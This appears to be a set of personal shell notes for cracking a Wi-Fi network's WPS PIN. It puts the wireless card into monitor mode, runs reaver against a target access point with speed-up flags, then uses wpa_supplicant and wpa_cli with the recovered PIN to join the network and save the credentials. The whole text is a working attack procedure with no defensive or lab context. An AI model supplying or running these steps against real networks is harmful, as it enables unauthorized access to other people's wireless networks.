ifconfig wlan0 down
iwconfig wlan0 mode Monitor
ifconfig wlan0 up

reaver -i wlan0 -b XX:XX...:XX -o output.txt -v --no-nack --dh-small


after getting the pin

/etc/wpa_supplicant.conf:
--
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
--

wpa_supplicant -iwlan0 -c/etc/wpa_supplicant.conf –B

run wpa_cli
    status  You should see wpa_state=INACTIVE
    wps_reg xx:xx:xx:xx:xx:xx 12345678
        You should see OK, "CTRL-EVENT-CONNECTED"
    save